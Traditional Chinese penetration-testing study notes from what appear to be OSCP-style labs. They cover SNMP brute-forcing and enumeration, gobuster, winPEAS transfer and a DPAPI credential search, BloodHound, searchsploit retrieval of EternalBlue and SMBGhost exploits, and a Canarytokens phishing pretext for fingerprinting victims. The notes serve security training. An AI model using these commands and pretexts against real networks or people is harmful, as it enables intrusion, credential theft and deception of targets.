  1. SNMP Community String:SNMP社區字串是一個類似密碼的值,用於訪問和控制支持SNMP的設備。不同的設備可能有不同的SNMP社區字串,通常有“讀取(Read)”社區和“寫入(Write)”社區,具體取決於設備的設置。

  2. OneSixtyOne 功能:OneSixtyOne 主要用於字典攻擊,它嘗試使用預定義的社區字符串清單(通常來自字典文件)來訪問目標設備的SNMP服務。一旦成功找到有效的社區字符串,攻擊者就可以訪問SNMP數據,包括設備配置、性能信息等。

  3. 用途:OneSixtyOne通常用於安全測試、網絡測試或管理目的。系統管理員和安全專業人員可以使用它來確保他們的設備的SNMP設置是安全的,並且未使用弱密鑰。

  4. 使用方式:要使用 OneSixtyOne,你需要提供目標設備的IP地址,並選擇要使用的社區字符串字典文件。然後,OneSixtyOne將嘗試每個社區字符串,看是否可以成功訪問目標設備的SNMP服務。

使用類似onesixtyone的工具,該工具將對一組IP地址進行暴力攻擊。首先,我們需要建立包含社區字符串和我們希望掃描的IP地址的文本文件。這些文件可以幫助我們進行SNMP暴力攻擊。

echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips
onesixtyone -c community -i ips
onesixtyone 0.3.3 [選項] <主機> <社群>
  -c <社群檔案> 包含嘗試的社群名稱的檔案
  -i <輸入檔案> 包含目標主機的檔案
  -o <輸出檔案> 輸出日誌
  -p 指定替代的目的地SNMP埠口
  -d 調試模式,使用兩次以獲得更多信息

  -s 簡短模式,僅列印IP地址

  -w n 在發送封包之間等待n毫秒(1/1000秒)(默認值為10)
  -q 安靜模式,不要將日誌輸出到標準輸出,與 -o 一同使用
主機可以是IPv4地址或IPv4地址和子網遮罩
默認社群名稱為: public private

最大主機數: 65536
最大社群長度: 32
最大社群數量: 16384

示例: onesixtyone 192.168.4.0/24 public
          onesixtyone -c dict.txt -i hosts -o my.log -w 100

【SNMP】snmpwalk

我們可以使用像snmpwalk這樣的工具來探測並查詢SNMP值,前提是我們知道SNMP的只讀社區字符串,而在大多數情況下它是“public”。

   
1.3.6.1.2.1.25.1.6.0 System Processes
1.3.6.1.2.1.25.4.2.1.2 Running Programs
1.3.6.1.2.1.25.4.2.1.4 Processes Path
1.3.6.1.2.1.25.2.3.1.4 Storage Units
1.3.6.1.2.1.25.6.3.1.2 Software Name
1.3.6.1.4.1.77.1.2.25 User Accounts
1.3.6.1.2.1.6.13.1.3 TCP Local Ports

使用表1中提供的一些MIB值,我們可以嘗試枚舉它們對應的值。讓我們嘗試對實驗室中已知具有以“public”作為社區字符串的Windows SNMP端口的機器執行以下示例命令。此命令使用-c選項指定社區字符串,-v指定SNMP版本號,以及-t 10選項來增加超時時間到10秒:

kali@kali:~$ snmpwalk -c public -v1 -t 10 192.168.50.151
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (78235) 0:13:02.35
iso.3.6.1.2.1.1.4.0 = STRING: "admin@megacorptwo.com"
iso.3.6.1.2.1.1.5.0 = STRING: "dc01.megacorptwo.com"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 24
...

進一步展示,我們可以使用上面的輸出來獲取目標的電子郵件地址。這些信息可以用來製作針對新發現的聯絡人的社交工程攻擊。

為了進一步練習我們所學的,讓我們探討一些針對Windows目標的SNMP列舉技巧。我們將使用snmpwalk命令,它可以解析MIB Tree的特定分支,稱為OID。

以下示例列舉了dc01機器上的Windows用

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25
iso.3.6.1.4.1.77.1.2.25.1.1.5.71.117.101.115.116 = STRING: "Guest"
iso.3.6.1.4.1.77.1.2.25.1.1.6.107.114.98.116.103.116 = STRING: "krbtgt"
iso.3.6.1.4.1.77.1.2.25.1.1.7.115.116.117.100.101.110.116 = STRING: "student"
iso.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.97.116.111.114 = STRING: "Administrator"

我們的命令查詢了與所有本地用戶帳戶名相對應的特定MIB子樹。

作為另一個示例,我們可以列舉所有當前運行的進程

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.4.2.1.2
iso.3.6.1.2.1.25.4.2.1.2.1 = STRING: "System Idle Process"
iso.3.6.1.2.1.25.4.2.1.2.4 = STRING: "System"
iso.3.6.1.2.1.25.4.2.1.2.88 = STRING: "Registry"
iso.3.6.1.2.1.25.4.2.1.2.260 = STRING: "smss.exe"
iso.3.6.1.2.1.25.4.2.1.2.316 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.372 = STRING: "csrss.exe"
iso.3.6.1.2.1.25.4.2.1.2.472 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.476 = STRING: "wininit.exe"
iso.3.6.1.2.1.25.4.2.1.2.484 = STRING: "csrss.exe"
iso.3.6.1.2.1.25.4.2.1.2.540 = STRING: "winlogon.exe"
iso.3.6.1.2.1.25.4.2.1.2.616 = STRING: "services.exe"
iso.3.6.1.2.1.25.4.2.1.2.632 = STRING: "lsass.exe"
iso.3.6.1.2.1.25.4.2.1.2.680 = STRING: "svchost.exe"
...

這個命令返回了一個包含運行進程名稱的字符串數組。這些信息可能非常有價值,因為它可能會顯示存在漏洞的應用程序,或者甚至表明目標上運行著哪種類型的防病毒軟件。

同樣,我們可以查詢安裝在計算機上的所有軟件

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.6.3.1.2
iso.3.6.1.2.1.25.6.3.1.2.1 = STRING: "Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.27.29016"
iso.3.6.1.2.1.25.6.3.1.2.2 = STRING: "VMware Tools"
iso.3.6.1.2.1.25.6.3.1.2.3 = STRING: "Microsoft Visual C++ 2019 X64 Additional Runtime - 14.27.29016"
iso.3.6.1.2.1.25.6.3.1.2.4 = STRING: "Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.27.290"
iso.3.6.1.2.1.25.6.3.1.2.5 = STRING: "Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.27.290"
iso.3.6.1.2.1.25.6.3.1.2.6 = STRING: "Microsoft Visual C++ 2019 X86 Additional Runtime - 14.27.29016"
iso.3.6.1.2.1.25.6.3.1.2.7 = STRING: "Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.27.29016"
...

當與我們之前獲得的運行進程列表結合在一起時,這些信息對於交叉檢查目標主機上進程運行的確切軟件版本可以變得非常有價值。

另一種 SNMP 枚舉技術是列出所有當前的 TCP 監聽端口

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.6.13.1.3
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.88.0.0.0.0.0 = INTEGER: 88
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.135.0.0.0.0.0 = INTEGER: 135
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.389.0.0.0.0.0 = INTEGER: 389
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.445.0.0.0.0.0 = INTEGER: 445
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.464.0.0.0.0.0 = INTEGER: 464
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.593.0.0.0.0.0 = INTEGER: 593
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.636.0.0.0.0.0 = INTEGER: 636
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.3268.0.0.0.0.0 = INTEGER: 3268
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.3269.0.0.0.0.0 = INTEGER: 3269
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.5357.0.0.0.0.0 = INTEGER: 5357
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.5985.0.0.0.0.0 = INTEGER: 5985
...

加上-Oa 可以解碼16進制資料

$ snmpwalk -c public -v1 -t 10 192.168.202.151  
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (492426016) 56 days, 23:51:00.16
iso.3.6.1.2.1.1.4.0 = STRING: "admin@megacorptwo.com"
iso.3.6.1.2.1.1.5.0 = STRING: "dc01.megacorptwo.com"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
iso.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3
...
iso.3.6.1.2.1.2.2.1.1.22 = INTEGER: 22
iso.3.6.1.2.1.2.2.1.1.23 = INTEGER: 23
iso.3.6.1.2.1.2.2.1.1.24 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 53 6F 66 74 77 61 72 65 20 4C 6F 6F 70 62 61 63 
6B 20 49 6E 74 65 72 66 61 63 65 20 31 00 
iso.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 4D 69 63 72 6F 73 6F 66 74 20 36 74 6F 34 20 41 
64 61 70 74 65 72 00 
$ snmpwalk -c public -v1 -t 10 192.168.202.151 -Oa
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (492428968) 56 days, 23:51:29.68
iso.3.6.1.2.1.1.4.0 = STRING: "admin@megacorptwo.com"
iso.3.6.1.2.1.1.5.0 = STRING: "dc01.megacorptwo.com"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
...
iso.3.6.1.2.1.2.2.1.1.21 = INTEGER: 21
iso.3.6.1.2.1.2.2.1.1.22 = INTEGER: 22
iso.3.6.1.2.1.2.2.1.1.23 = INTEGER: 23
iso.3.6.1.2.1.2.2.1.1.24 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.2.1 = STRING: "Software Loopback Interface 1."
iso.3.6.1.2.1.2.2.1.2.2 = STRING: "Microsoft 6to4 Adapter."
iso.3.6.1.2.1.2.2.1.2.3 = STRING: "WAN Miniport (PPTP)."
iso.3.6.1.2.1.2.2.1.2.4 = STRING: "WAN Miniport (GRE)."

 

【Romote】xfreerdp rdesktop

xfreerdp /cert-ignore /size:93%  /v:192.168.198.151 /u:student /p:lab
xfreerdp /cert-ignore /size:87% /v:192.168.197.75 /d:corp.com /u:stephanie /p:'LegmanTeamBenzoin!!'
rdesktop -u student -p lab 192.168.202.152

【PathBuster】Gobuster

 支援不同的列舉模式,包括fuzzing和dns,但目前,我們只會依賴dir模式,該模式列舉文件和目錄。我們需要使用-u參數指定目標IP,並使用-w參數指定單詞列表。默認運行的線程數是10;我們可以通過使用-t參數設置更低的數字來減少流量。

# -t thead
# -u ip
# -w 字典檔
kali@kali:~$ gobuster dir -u 192.168.50.20 -w /usr/share/wordlists/dirb/common.txt -t 5
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.50.20
[+] Method:                  GET
[+] Threads:                 5
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/30 05:16:21 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://192.168.50.20/css/]
/db                   (Status: 301) [Size: 311] [--> http://192.168.50.20/db/]
/images               (Status: 301) [Size: 315] [--> http://192.168.50.20/images/]
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/js                   (Status: 301) [Size: 311] [--> http://192.168.50.20/js/]
/server-status        (Status: 403) [Size: 278]
/uploads              (Status: 301) [Size: 316] [--> http://192.168.50.20/uploads/]

===============================================================
2022/03/30 05:18:08 Finished
===============================================================

在/usr/share/wordlists/dirb/文件夾中,我們選擇了common.txt單詞列表,找到了十個資源。其中有四個資源由於權限不足而無法訪問(狀態:403)。但是,其餘的六個是可以訪問的,值得進一步調查。

【linux】【提權】【弱掃】linpeas

# install
sudo apt-get update
sudo apt-get -y install peass

# 複製到本地
kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .
# 啟用python server提供下載
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# windos 執行 pwershell
C:\Users\dave>powershell
...省略
# 下載 winPEAS.exe
PS C:\Users\dave> iwr -uri http://192.168.45.175/winPEASx64.exe -Outfile winPEAS.exe

# 執行 winPEAS 掃描
PS C:\Users\dave> .\winPEAS.exe > answer.txt
.\winPEAS.exe > answer.txt
 [!] Windows version not supported, build number: '22000'
 
 
# 找尋密碼(Checking for DPAPI Credential Files 後的10行)
 PS C:\Users\dave> Select-String -Path .\answer.txt -Pattern 'Checking for DPAPI Credential Files' -Context 1, 10

  answer.txt:1920:
> answer.txt:1921:����������͹ Checking for DPAPI Credential Files
  answer.txt:1922:�  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
  answer.txt:1923:    CredFile: C:\Users\dave\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
  answer.txt:1924:    Description: Local Credential Data
  answer.txt:1925:
  answer.txt:1926:    MasterKey: 7ba528f7-4e73-48a3-8a67-e5680688c9ff
  answer.txt:1927:    Accessed: 11/28/2023 7:45:54 AM
  answer.txt:1928:    Modified: 2/13/2023 2:46:41 AM
  answer.txt:1929:    Size: 11136
  answer.txt:1930:   =================================================================================================
  answer.txt:1931:

【Linux】【提權】GTFOBins

GTFOBins 是一個安全工具,用於收集和提供攻擊者在 Linux 和 Unix 系統上濫用的 "提升權限" 或 "逃逸" 技術。它的全名是 "GTFO (Get The Fudge Out) Bins",而 "Bins" 指的是二進制文件,即執行檔。GTFOBins 有一個簡單的目標:提供一個易於搜索和使用的資源,以查找關於不同系統命令和二進制文件的特權提升技術的信息。

以下是使用 GTFOBins 的基本步驟:

  1. 瀏覽 GTFOBins 網站: GTFOBins 的官方網站是 https://gtfobins.github.io/ 。你可以直接在網頁上搜索特定命令或二進制文件,也可以瀏覽不同的類別。

  2. 搜尋技術: 在網站上使用搜索功能,輸入你感興趣的命令或二進制文件名稱,然後查看相應的結果。每個結果都提供了有關如何使用這些二進制文件進行特權提升的信息。

  3. 了解特權提升技術: 對於每個命令或二進制文件,GTFOBins 提供了相關的技術和實例,說明攻擊者如何使用這些工具來提升特權。這可能涉及到濫用系統漏洞或執行一些特殊的命令來達到目的。

  4. 謹慎使用: 請注意,GTFOBins 提供的信息主要是為了教育和安全意識而設計的。請勿將這些技術用於非法或未獲授權的活動。使用這些技術來測試自己的系統或獲得授權的測試是可行的,但必須遵從相應的法律和道德標準。

總的來說,GTFOBins 是一個有用的資源,可以幫助安全專業人員和系統管理員了解和防禦濫用系統的方法。

【AD】【列舉】ADRecon

ADRecon(Active Directory Reconnaissance)是一種用於對Active Directory(AD)環境進行信息收集和分析的工具或技術。Active Directory是由Microsoft開發的用於管理和組織網絡中的計算機、用戶和資源的目錄服務。ADRecon的主要目的是幫助安全專業人員、紅隊和藍隊人員了解AD環境的結構和配置,以便更好地評估安全風險、進行紅隊測試或加強防禦措施。

https://github.com/adrecon/ADRecon

wget https://github.com/adrecon/ADRecon/blob/master/ADRecon.ps1

git clone https://github.com/adrecon/ADRecon.git
# 將資料產出
.\ADrecon.ps1 -Quputtype html

ADRecon通常執行以下任務:

1. **信息收集:** 探查AD環境,收集有關域控制器、用戶帳戶、群組成員資訊、計算機、GPO(Group Policy Objects)等的信息。

2. **權限和訪問權限分析:** 獲取有關用戶和群組的權限信息,以識別潛在的安全風險。這包括檢查哪些用戶具有高權限、哪些用戶可以訪問關鍵資源等。

3. **攻擊表面分析:** 分析AD環境的攻擊表面,包括識別可能的弱點、不安全的設定和可能的攻擊向量。

4. **密碼破解和哈希收集:** 尋找弱密碼、空密碼或使用弱加密算法的帳戶,以及收集用戶帳戶的哈希。

5. **枚舉域控制器和服務:** 了解AD環境中的域控制器、LDAP服務和其他重要服務的信息。

6. **藍隊測試:** 在授權的情況下,模擬攻擊者的行為,以測試防禦機制的有效性。

7. **風險評估:** 通過分析AD環境的結構和配置,評估安全風險並提出建議的改進措施。

要注意的是,ADRecon通常由安全專業人員或網絡安全團隊使用,並且在使用之前必須獲得授權,以避免非法入侵或濫用。此類工具和技術的使用主要是為了加強網絡安全,發現潛在的弱點,並提高對潛在攻擊的警覺。

【AD】【列舉】BooldHound

BoooldHound(BloodHound)是一個用於Active Directory(AD)環境的安全分析和攻擊模擬工具。它旨在幫助安全專業人員、紅隊人員和藍隊人員更好地理解和評估AD環境中的安全風險,尤其是針對橫向移動和權限提升的風險。

https://github.com/BloodHoundAD/BloodHound

# 安裝
sudo apt install -y bloodhound

# 啟動圖形化資料庫
sudo neo4j start

Started neo4j (pid:70263). It is available at http://localhost:7474
There may be a short delay until the server is ready.


#修改密碼 -> firefox 開啟 https://localhost:7474

username / password => neo4j

image-1702194936048.png

修改密碼

image-1702194971848.png

# shell 輸入bloodhound
bloodhound

#填入帳密 neo4j / {修改後的密碼}

image-1702195251120.png

使用 SharpHound 搜集資料 https://bookstack.treemanou.com/books/treemanoscp/page/adsharphound

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\tools\ -OutputPrefix "corp_audit"

或是使用 Bloodhound.py

# kali install
sudo apt install -y bloodhound.py
# 使用
bloodhound-python -u {username} -p {password} -c all -d corp.com  -ns 192.168.210.70

 


上傳分析資料

image-1706938443694.png

先在左上框框搜尋Management Department,然後出現畫面會出現節點,點選節點後,Node Info頁籤會出現東西,拉至最底下 Transitive Object Controllers 旁邊的箭頭,點下去。

image-1706939877356.png

然後右邊功能設定,都先設定Always Display,Node Info頁籤點選Explicit Object Controllers,就會出現以下圖表,其中找到Owns的線所對應的就是答案DOMAIN ADMINS

image-1706939793460.png

【Exploit】SearchSploit

SearchSploit 是一個命令行搜索工具,用於在本地系統上搜索 Exploit Database 存檔。這個存檔預設包含在 Kali Linux 中的 exploitdb 包中。我們建議在進行任何評估之前更新該包,以確保安裝了最新的攻擊代碼。可以使用以下命令更新該包:

kali@kali:~$ sudo apt update && sudo apt install exploitdb
[sudo] password for kali: 
...
The following packages will be upgraded:
  exploitdb
...
Setting up exploitdb (20220526-0kali1) ...
...

上述命令將更新本地 Exploit Database 存檔的副本,存放在 /usr/share/exploitdb/ 目錄下。該目錄分為兩個主要部分,即 exploits 和 shellcodes。/usr/share/exploitdb/ 目錄包含每個 exploits 和 shellcodes 子目錄的 CSV 文件。每個 CSV 文件包含其相應子目錄中所有文件的文件信息。這些 CSV 文件包含與 Exploit DB 網站相似的信息,如 EDB-ID、標題、作者、平台等,這些信息我們之前已經介紹過。

當我們重定向到 exploits 目錄時,我們會找到許多子目錄,其中包含所有的攻擊。這些子目錄是根據操作系統、架構、腳本語言等進行分類的。例如,linux 子目錄包含所有與 Linux 相關的攻擊。

kali@kali:~$ ls -1 /usr/share/exploitdb/exploits
aix
alpha
android
arm
ashx
asp
aspx
atheos
beos
bsd
bsd_x86
cfm
cgi
freebsd
freebsd_x86
...

手動搜索 Exploit Database 絕對不是理想的方法,特別是考慮到存檔中的大量攻擊。這就是 searchsploit 工具派上用場的地方。

我們可以在命令行中運行 searchsploit,而無需使用任何參數來顯示其用法:

kali@kali:~$ searchsploit 
  Usage: searchsploit [options] term1 [term2] ... [termN]
...

就內建的例子來看,searchsploit 允許我們通過提供的不同搜索選項作為參數進行整個存檔的搜索並顯示結果。

==========
 Examples 
==========
  searchsploit afd windows local
  searchsploit -t oracle windows
  searchsploit -p 39446
  searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
  searchsploit -s Apache Struts 2.0.0
  searchsploit linux reverse password
  searchsploit -j 55555 | json_pp

  For more examples, see the manual: https://www.exploit-db.com/searchsploit

這些選項允許我們縮小搜索範圍、更改輸出格式、更新 exploitdb 套件等。

=========
 Options 
=========
## Search Terms
   -c, --case     [Term]      Perform a case-sensitive search (Default is inSEnsITiVe)
   -e, --exact    [Term]      Perform an EXACT & order match on exploit title (Default is an AND match on each term) [Implies "-t"]
                                e.g. "WordPress 4.1" would not be detect "WordPress Core 4.1")
   -s, --strict               Perform a strict search, so input values must exist, disabling fuzzy search for version range
                                e.g. "1.1" would not be detected in "1.0 < 1.3")
   -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file's path)
       --exclude="term"       Remove values from results. By using "|" to separate, you can chain multiple values
                                e.g. --exclude="term1|term2|term3"

## Output
   -j, --json     [Term]      Show result in JSON format
   -o, --overflow [Term]      Exploit titles are allowed to overflow their columns
   -p, --path     [EDB-ID]    Show the full path to an exploit (and also copies the path to the clipboard if possible)
   -v, --verbose              Display more information in output
   -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path
       --id                   Display the EDB-ID value rather than local path
       --colour               Disable colour highlighting in search results
...

最後,幫助菜單的「Notes」部分揭示了一些有用的搜索提示。

=======
 Notes 
=======
 * You can use any number of search terms
 * By default, search terms are not case-sensitive, ordering is irrelevant, and will search between version ranges
   * Use '-c' if you wish to reduce results by case-sensitive searching
   * And/Or '-e' if you wish to filter results by using an exact match
   * And/Or '-s' if you wish to look for an exact version match
 * Use '-t' to exclude the file's path to filter the search results
   * Remove false positives (especially when searching using numbers - i.e. versions)
 * When using '--nmap', adding '-v' (verbose), it will search for even more combinations
 * When updating or displaying help, search terms will be ignored

例如,我們可以使用以下語法搜索針對 Windows 操作系統上的 SMB 服務的所有可用遠程攻擊:

kali@kali:~$ searchsploit remote smb microsoft windows
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                              |  Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Microsoft DNS RPC Service - 'extractQuotedChar()' Remote Overflow 'SMB' (MS07-029) (Metasploit)                             | windows/remote/16366.rb
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010)   | windows/remote/43970.rb
Microsoft Windows - 'SMBGhost' Remote Code Execution                                                                        | windows/remote/48537.py
Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) (MS09-050)                                                       | windows/remote/40280.py
Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050)                                | windows/remote/14674.txt
Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050) (Metasploit)                   | windows/remote/16363.rb
Microsoft Windows - SMB Relay Code Execution (MS08-068) (Metasploit)                                                        | windows/remote/16360.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)                                               | windows/dos/41891.rb
Microsoft Windows - SmbRelay3 NTLM Replay (MS08-068)                                                                        | windows/remote/7125.txt
Microsoft Windows 2000/XP - SMB Authentication Remote Overflow                                                              | windows/remote/20.txt
Microsoft Windows 2003 SP2 - 'ERRATICGOPHER' SMB Remote Code Execution                                                      | windows/remote/41929.py
Microsoft Windows 2003 SP2 - 'RRAS' SMB Remote Code Execution                                                               | windows/remote/44616.py
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                            | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                        | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                  | windows_x86-64/remote/42030.py
Microsoft Windows 95/Windows for Workgroups - 'smbclient' Directory Traversal                                               | windows/remote/20371.txt
Microsoft Windows NT 4.0 SP5 / Terminal Server 4.0 - 'Pass the Hash' with Modified SMB Client                               | windows/remote/19197.txt
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)                               | windows_x86-64/remote/41987.py
Microsoft Windows Vista/7 - SMB2.0 Negotiate Protocol Request Remote Blue Screen of Death (MS07-063)                        | windows/dos/9594.txt
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

具有搜索參數的攻擊將顯示在輸出中。為了演示,假設我們希望在參與過程中使用上面突出顯示的兩個攻擊。為了演示,假設我們枚舉了兩個對 SMBGhost 和 EternalBlue 漏洞易受攻擊的 SMB 伺服器。

如果需要修改攻擊,我們可以使用 -m 選項將攻擊複製到當前工作目錄。將攻擊複製到當前工作目錄的好處是更容易組織在參與過程中使用的攻擊並將其與正在測試的系統相關聯。

所有本地攻擊在釋放新的 exploitdb 套件時都會被覆蓋,因此在原始位置修改攻擊會導致我們損失這些更改。

讓我們使用 -m 選項複製這兩個攻擊。我們可以使用這些攻擊的路徑或 EDB-ID 進行複製,這些 ID 可以在其路徑名稱中找到。

kali@kali:~$ searchsploit -m windows/remote/48537.py

  Exploit: Microsoft Windows - 'SMBGhost' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48537
     Path: /usr/share/exploitdb/exploits/windows/remote/48537.py
File Type: Python script, ASCII text executable, with very long lines (343)

Copied to: /home/kali/48537.py

kali@kali:~$ searchsploit -m 42031
  Exploit: Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
      URL: https://www.exploit-db.com/exploits/42031
     Path: /usr/share/exploitdb/exploits/windows/remote/42031.py
File Type: Python script, ASCII text executable

Copied to: /home/kali/42031.py

我們想要的攻擊現在已複製到我們當前的工作目錄中。第一個命令執行複製了攻擊文件,第二個命令執行複製了攻擊,通過其 EDB-ID 進行標識。

【Honeypot】canarytokens

https://canarytokens.org/generate

我們將使用Canarytokens,這是一個免費的網絡服務,生成帶有嵌入式令牌的鏈接,我們將其發送給目標。當目標在瀏覽器中打開鏈接時,我們將獲得有關其瀏覽器、IP地址和操作系統的信息。有了這些信息,我們可以確認目標正在運行Windows,並確定我們應該嘗試進行HTA客戶端攻擊。

在創建我們的追踪鏈接之前,讓我們簡要討論在這種情況下我們可以使用的前設。前設以特定的方式框定一種情況。在大多數情況下,我們不能要求目標(一個陌生人)在任意電子郵件中點擊鏈接。因此,我們應該嘗試創建上下文,可能是利用目標的工作角色。

例如,假設我們的目標在財務部門工作。在這種情況下,我們可以說我們收到了一張發票,但其中包含了財務錯誤。然後,我們提供一個鏈接,我們說這個鏈接打開了一張突出顯示錯誤的發票的截圖。這當然就是Canarytoken鏈接。當目標點擊鏈接時,IP日誌記錄器會創建目標的指紋,為我們提供準備客戶端攻擊所需的信息。目標在點擊鏈接時將總是收到一個空白頁面。

有了我們的前設,讓我們在Canarytokens中創建我們的鏈接,通過在瀏覽器中加載令牌生成頁面。圖3顯示了該站點的首頁。

image-1700373372859.png

網頁表單為我們提供了一個下拉菜單,以選擇我們要創建的追踪令牌的類型。我們必須輸入一個電子郵件地址,以獲得有關追踪令牌的警報,或者提供一個Webhook URL。在這個例子中,我們將從下拉菜單中選擇Web bug / URL令牌,輸入https://example.com作為Webhook URL,然後輸入Fingerprinting作為評論。輸入完這些信息後,我們將點擊"Create my Canarytoken"。

image-1700373453603.png

一個新的頁面出現,上面有一個藍色的窗口,顯示我們的網絡令牌現在已經啟動:

image-1700373538624.png

這個頁面包含我們可以用來指紋識別目標的追踪鏈接。它還提供了如何讓目標點擊該鏈接的想法。

接下來,讓我們點擊頁面右上角的"Manage this token",這將帶我們進入令牌設置頁面。

 

image-1700373584797.png

該令牌尚未觸發,但這是預期的,因為我們剛創建它。在這個例子中,我們將保持默認設置,因為我們只是對目標進行指紋識別,而不是將令牌嵌入到Web應用程序或網頁中。

接下來,讓我們點擊右上角的"History"。歷史頁面會顯示所有點擊我們Canarytoken鏈接的訪問者以及有關受害者系統的信息。截至目前,列表是空的。

image-1700373636941.png

讓我們假設我們已經在我們的前設背景下說服了我們的受害者,讓他們通過電子郵件訪問Canarytoken鏈接。當受害者點擊我們的鏈接時,他們的瀏覽器中將顯示一個空白頁面。同時,我們的歷史列表中出現了一條新的項目:

image-1700373680038.png

左側的地圖顯示了受害者的地理位置。我們可以點擊條目以獲取更多信息。

image-1700373731219.png

詳細視圖的上半部分提供了有關受害者位置的信息,並嘗試確定組織名稱。還顯示了受害者瀏覽器發送的用戶代理。從用戶代理本身,我們可以推斷目標的操作系統和瀏覽器。但是,用戶代理可以被修改,並且並非始終可靠的信息來源。

在這個例子中,受害者的用戶代理暗示他們在64位的Windows 10系統上使用Chrome瀏覽器。我們還可以使用在線用戶代理解析器,解釋用戶代理並為我們提供更易讀的結果。

讓我們滾動到瀏覽器區域。

image-1700373777345.png

